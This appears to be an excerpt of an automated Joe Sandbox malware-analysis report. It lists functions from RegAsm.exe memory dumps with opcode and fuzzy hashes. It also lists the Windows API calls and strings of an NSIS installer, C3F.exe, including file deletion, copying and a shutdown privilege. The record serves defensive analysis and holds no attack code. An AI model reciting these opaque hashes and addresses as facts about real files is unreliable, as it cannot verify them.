Opcode ID: ba54d6114bb8f8166e1461f40699852fbf4877d4fdd28b34ff9b5e9eb0c1bbaa
Instruction ID: 05e24d9fc5b6077c0de22039dd69b22d9afe28360a6af20ac49501d60a480b12
Opcode Fuzzy Hash: ba54d6114bb8f8166e1461f40699852fbf4877d4fdd28b34ff9b5e9eb0c1bbaa
Instruction Fuzzy Hash: C0C08C342081108B8200CF04E640C5AF3E2EBD8600B10C80EB80153300CA32DC13CB62

Function 05331C31 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142646229.0000000005330000.00000040.00000800.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9ea13885651e3a122929d02b6a0cd3dc7ee463dea0d056a637b0798d0215b40
Instruction ID: 61a98cab198449e35ee5a15c84b7cbbbcb3331787d46f02a09d71f3f94c256eb
Opcode Fuzzy Hash: c9ea13885651e3a122929d02b6a0cd3dc7ee463dea0d056a637b0798d0215b40
Instruction Fuzzy Hash: ADC08C7B5040000FC309C634C852704A760DB80208F18849DA808CF213EE22D6038940

Function 05337E40 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142646229.0000000005330000.00000040.00000800.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4992545ddf363612f5661b5a78cd1ea8d7c40a88e0af18418596dc8eba038548
Instruction ID: 807e34637bc2d45be43e7f5128b7b47fd0ca817142b2fcf14e53fb3777a6329e
Opcode Fuzzy Hash: 4992545ddf363612f5661b5a78cd1ea8d7c40a88e0af18418596dc8eba038548
Instruction Fuzzy Hash: 8DC04C3021518056D7D5D77CD451E477F61A786314F28C59EE4648F267CB26A407C745

Function 05330AA0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142646229.0000000005330000.00000040.00000800.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f71f497fcb9d926fc7293cd3f256dcd99b0975896850089fa3b4ac7d9088269f
Instruction ID: 5361b518402d2fda246b1b180d89461954e31a952d4d9385ec539af1d0680f23
Opcode Fuzzy Hash: f71f497fcb9d926fc7293cd3f256dcd99b0975896850089fa3b4ac7d9088269f
Instruction Fuzzy Hash: 65C08C301073901AC382D76CF4027027F206B81124F48C0AEE4848F247CF22A503E708

Function 02CB3728 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4131314938.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2cb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16581dba91a5fda841cf47983153eb36e4fc24851952f78b75638f70de6cde10
Instruction ID: 60a72056a403d9f31dd85fef4a7a76d12bb133d0d450fb6ef353260f5a4d9492
Opcode Fuzzy Hash: 16581dba91a5fda841cf47983153eb36e4fc24851952f78b75638f70de6cde10
Instruction Fuzzy Hash: 0BC09274300100AF8348CA18C895C26F7E6EFD8214B24C46DB84DC7365EF32EC03CA10

Function 02CB5418 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4131314938.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2cb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16581dba91a5fda841cf47983153eb36e4fc24851952f78b75638f70de6cde10
Instruction ID: 60a72056a403d9f31dd85fef4a7a76d12bb133d0d450fb6ef353260f5a4d9492
Opcode Fuzzy Hash: 16581dba91a5fda841cf47983153eb36e4fc24851952f78b75638f70de6cde10
Instruction Fuzzy Hash: 0BC09274300100AF8348CA18C895C26F7E6EFD8214B24C46DB84DC7365EF32EC03CA10

Function 02CB5EB8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4131314938.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2cb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16581dba91a5fda841cf47983153eb36e4fc24851952f78b75638f70de6cde10
Instruction ID: 60a72056a403d9f31dd85fef4a7a76d12bb133d0d450fb6ef353260f5a4d9492
Opcode Fuzzy Hash: 16581dba91a5fda841cf47983153eb36e4fc24851952f78b75638f70de6cde10
Instruction Fuzzy Hash: 0BC09274300100AF8348CA18C895C26F7E6EFD8214B24C46DB84DC7365EF32EC03CA10

Function 05340383 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142831586.0000000005340000.00000040.00000800.00020000.00000000.sdmp, Offset: 05340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5340000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75ba89f5aee2c1bb4d6cbcbcd29331bac26e5c02bb3e31f16ac4a47ce4559ed1
Instruction ID: a08c9d0dc58502cf2933ab01d898880a8d6cf686a2a406852017e635ce750656
Opcode Fuzzy Hash: 75ba89f5aee2c1bb4d6cbcbcd29331bac26e5c02bb3e31f16ac4a47ce4559ed1
Instruction Fuzzy Hash: DEC08C7060008016C349C664C812B05AB20EB86310F18C0ADA004CF287CB2288028684

Function 05343230 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142831586.0000000005340000.00000040.00000800.00020000.00000000.sdmp, Offset: 05340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5340000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8969c5ad5028f90d16de0dac01ec92b6710ac720c518f186cddd98d67296119
Instruction ID: cd9600fc1b81973c699454798a903401b0bd478fa5252f577661c9fae1702cc2
Opcode Fuzzy Hash: e8969c5ad5028f90d16de0dac01ec92b6710ac720c518f186cddd98d67296119
Instruction Fuzzy Hash: 64C04C252061808BC381C7BCD849741BF709B41125F1C809B98444A153DB269506C701

Function 053426B0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142831586.0000000005340000.00000040.00000800.00020000.00000000.sdmp, Offset: 05340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5340000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f38447f917d2520ea076f977576906c3c0b9700a052d5119ba83712ef8adbfaf
Instruction ID: b90c9a525b87f61ff620250600f8c3ba93c15db06815097db734e9b7ac425cb4
Opcode Fuzzy Hash: f38447f917d2520ea076f977576906c3c0b9700a052d5119ba83712ef8adbfaf
Instruction Fuzzy Hash: 04C09B201151C05BC741DF74D441745FF70BB41214F58C0DDD4554A153CB279D07DB02

Function 01015572 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3edc63ddfe40dc16cb774815f6b05c528ee7dc8b1bf4600b8538ae8fd246715
Instruction ID: b9829cf36f550cd8e52f0bb21f6f1c79fd845fcad5f727257e98afbfccd86a90
Opcode Fuzzy Hash: e3edc63ddfe40dc16cb774815f6b05c528ee7dc8b1bf4600b8538ae8fd246715
Instruction Fuzzy Hash: 9CB012B310100017C308C500CC82F4C6618D7C0125F2D40A5B8649D595CF0DE503D510

Function 01015460 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92e5f2bceeffbd2f500a1908fe92c863e6b1197f14deade5313251c3358c7510
Instruction ID: 696bb01f6c75834e9ec511fa63ad608c343fcbfadb3e07eeff647d573b8d4201
Opcode Fuzzy Hash: 92e5f2bceeffbd2f500a1908fe92c863e6b1197f14deade5313251c3358c7510
Instruction Fuzzy Hash: A6C04CF55096804BDB018F64DDA67147F745B52206F0EC0DBD8558D19BCB15C916D721

Function 05327D40 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142494167.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5320000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16581dba91a5fda841cf47983153eb36e4fc24851952f78b75638f70de6cde10
Instruction ID: 60a72056a403d9f31dd85fef4a7a76d12bb133d0d450fb6ef353260f5a4d9492
Opcode Fuzzy Hash: 16581dba91a5fda841cf47983153eb36e4fc24851952f78b75638f70de6cde10
Instruction Fuzzy Hash: 0BC09274300100AF8348CA18C895C26F7E6EFD8214B24C46DB84DC7365EF32EC03CA10

Function 0532A978 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142494167.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5320000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16581dba91a5fda841cf47983153eb36e4fc24851952f78b75638f70de6cde10
Instruction ID: 60a72056a403d9f31dd85fef4a7a76d12bb133d0d450fb6ef353260f5a4d9492
Opcode Fuzzy Hash: 16581dba91a5fda841cf47983153eb36e4fc24851952f78b75638f70de6cde10
Instruction Fuzzy Hash: 0BC09274300100AF8348CA18C895C26F7E6EFD8214B24C46DB84DC7365EF32EC03CA10

Function 0533D040 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142646229.0000000005330000.00000040.00000800.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16581dba91a5fda841cf47983153eb36e4fc24851952f78b75638f70de6cde10
Instruction ID: 60a72056a403d9f31dd85fef4a7a76d12bb133d0d450fb6ef353260f5a4d9492
Opcode Fuzzy Hash: 16581dba91a5fda841cf47983153eb36e4fc24851952f78b75638f70de6cde10
Instruction Fuzzy Hash: 0BC09274300100AF8348CA18C895C26F7E6EFD8214B24C46DB84DC7365EF32EC03CA10

Function 02CBB1EF Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4131314938.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2cb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d0bc0d5b08a060383d3c2d97c2d43e1f57c68525c56ee13dbcf388f850a22cd
Instruction ID: af281d72671b706b79a46c07a4ae669c2a840742ee63b83cec1291759ca810dd
Opcode Fuzzy Hash: 6d0bc0d5b08a060383d3c2d97c2d43e1f57c68525c56ee13dbcf388f850a22cd
Instruction Fuzzy Hash: 21B092313291404BC385DB24C8A399ABBA1DB96215728C4A9E9489F20BEA32DC13C714

Function 02CB4CF9 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4131314938.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2cb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fad860071166c26bf8d9387257f5f91bad0b1e55fb97fe1a8ec2029ffecce77f
Instruction ID: 2d701bf5e64580d3d566d716ea9bec912c6411cf1e960b815b56f1ef2ffe6cc1
Opcode Fuzzy Hash: fad860071166c26bf8d9387257f5f91bad0b1e55fb97fe1a8ec2029ffecce77f
Instruction Fuzzy Hash: 10B092B92011405BCB828624D892464BBA29B8A218318C888E986CB256CB23DC03DA00

Function 010156E0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdfec89ecf4d227c2e3f2741df1fca2c4e7a0756e2f1ba050c9a008d3bdc9887
Instruction ID: e80b9cbb32ce7aa80f269217a2acaa4f8c5de131eb2df65f765f3a476441bad2
Opcode Fuzzy Hash: cdfec89ecf4d227c2e3f2741df1fca2c4e7a0756e2f1ba050c9a008d3bdc9887
Instruction Fuzzy Hash: 3DB002747054005B8748D65DD951515A7D29BC9215728C4AD641DC7355DE22DD039644

Function 02CB4740 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4131314938.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2cb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction ID: 424522431131923360a2424e5b60fcaca403654da384226d21dcd1d1d325544f
Opcode Fuzzy Hash: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction Fuzzy Hash: B3A001746050109B8689DA58D991818B7A2ABC9219728C4ADA819CB25ACF33E9039A44

Function 01010890 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 859c8ae9b3a23126b85102071d6acaff4e8b0fd58d1c1e963e9192b5a0dc1e58
Instruction ID: 396132c7783314c3017a29f0bcaf758c48c13dc43e430e24ecaecc7b9ee1aadb
Opcode Fuzzy Hash: 859c8ae9b3a23126b85102071d6acaff4e8b0fd58d1c1e963e9192b5a0dc1e58
Instruction Fuzzy Hash: 24900235044A0CCF454027957A0A955775D95849197840451A50D465115A5574545595

Function 01013EB0 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c63b20a86d54f9730295614f1cbf4854943a9de8a8953d9cc90e3baf516db48
Instruction ID: 0c4a003cc2d42e5d99f6cbf4d8596e677ec1f4a579adb69ac5864672bd04bd1c
Opcode Fuzzy Hash: 7c63b20a86d54f9730295614f1cbf4854943a9de8a8953d9cc90e3baf516db48
Instruction Fuzzy Hash: 7390023205570C8B458067A9750E565BB5D9A445157900051B50D519415FA5641045A6

Function 05323F20 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142494167.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5320000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction ID: 424522431131923360a2424e5b60fcaca403654da384226d21dcd1d1d325544f
Opcode Fuzzy Hash: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction Fuzzy Hash: B3A001746050109B8689DA58D991818B7A2ABC9219728C4ADA819CB25ACF33E9039A44

Function 05321FE0 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142494167.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5320000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction ID: 424522431131923360a2424e5b60fcaca403654da384226d21dcd1d1d325544f
Opcode Fuzzy Hash: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction Fuzzy Hash: B3A001746050109B8689DA58D991818B7A2ABC9219728C4ADA819CB25ACF33E9039A44

Function 05324B50 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142494167.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5320000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction ID: 424522431131923360a2424e5b60fcaca403654da384226d21dcd1d1d325544f
Opcode Fuzzy Hash: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction Fuzzy Hash: B3A001746050109B8689DA58D991818B7A2ABC9219728C4ADA819CB25ACF33E9039A44

Function 05330CD0 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142646229.0000000005330000.00000040.00000800.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction ID: 424522431131923360a2424e5b60fcaca403654da384226d21dcd1d1d325544f
Opcode Fuzzy Hash: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction Fuzzy Hash: B3A001746050109B8689DA58D991818B7A2ABC9219728C4ADA819CB25ACF33E9039A44

Function 01018E30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 584a3913bed7d41f6751d29dc0af2e109adf5df94d8de11209de24b86f245c04
Instruction ID: 2108930940694c1c8b8ad4272d9396267f2db374b9021a0985f6588530823504
Opcode Fuzzy Hash: 584a3913bed7d41f6751d29dc0af2e109adf5df94d8de11209de24b86f245c04
Instruction Fuzzy Hash: 6BA002742010009BC644DB54C991814F761EFC5219728C4DDA8198B256CF33ED03DA40

Non-executed Functions

Function 02CBAE7A Relevance: 5.3, Strings: 4, Instructions: 253COMMON

Download Yara Rule

Strings

(bq, xrefs: 02CBB16A
(bq, xrefs: 02CBB057
(bq, xrefs: 02CBAFE6
(bq, xrefs: 02CBB131

Memory Dump Source

Source File: 0000000D.00000002.4131314938.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2cb0000_RegAsm.jbxd

Similarity

API ID:
String ID: (bq$(bq$(bq$(bq
API String ID: 0-2632976689
Opcode ID: 325aabd7d1a3e0517543e4302dd9ed580f92154a18e23c58aeab633ddc8a46ec
Instruction ID: 2aad028fa9eb85c7dd8991b54a512b3e3eac7a3b4aabf38ff05a978cfb4f36b0
Opcode Fuzzy Hash: 325aabd7d1a3e0517543e4302dd9ed580f92154a18e23c58aeab633ddc8a46ec
Instruction Fuzzy Hash: 2191D4317002559FCB16EF29D890AAE37E2EFD9314F548669E8468B399CF34DD06CB90

Function 01013EC0 Relevance: 5.1, Strings: 4, Instructions: 136COMMON

Download Yara Rule

Strings

6=/[, xrefs: 01013F2B
6=/[, xrefs: 01013F2A
dv-z, xrefs: 01013FEE
Vy27, xrefs: 01014146

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: 6=/[$6=/[$Vy27$dv-z
API String ID: 0-987507756
Opcode ID: 2b485003a8e3e55314fcae9d8d2899b3858f8af350604c49844e5aa8fbd0700a
Instruction ID: d38335d675de8131a08eb3dea99018a98da11d178aeb527527660d75668f067c
Opcode Fuzzy Hash: 2b485003a8e3e55314fcae9d8d2899b3858f8af350604c49844e5aa8fbd0700a
Instruction Fuzzy Hash: A39142B0802B448FD359DF0A8589BA1BBE0BF89310F5A86FAC15D8F232E7758445CF95

Analysis Process: C3F.exePID: 6872, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	18.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1525
Total number of Limit Nodes:	33

Executed Functions

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

~nsu.tmp, xrefs: 00403AF7
NSIS Error, xrefs: 004038E2
/D=, xrefs: 004039A6
_?=, xrefs: 00403A64
\Temp, xrefs: 00403A1B
NCRC, xrefs: 0040397C
SeShutdownPrivilege, xrefs: 00403C16
1C, xrefs: 00403B56
Error launching installer, xrefs: 00403A7D

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
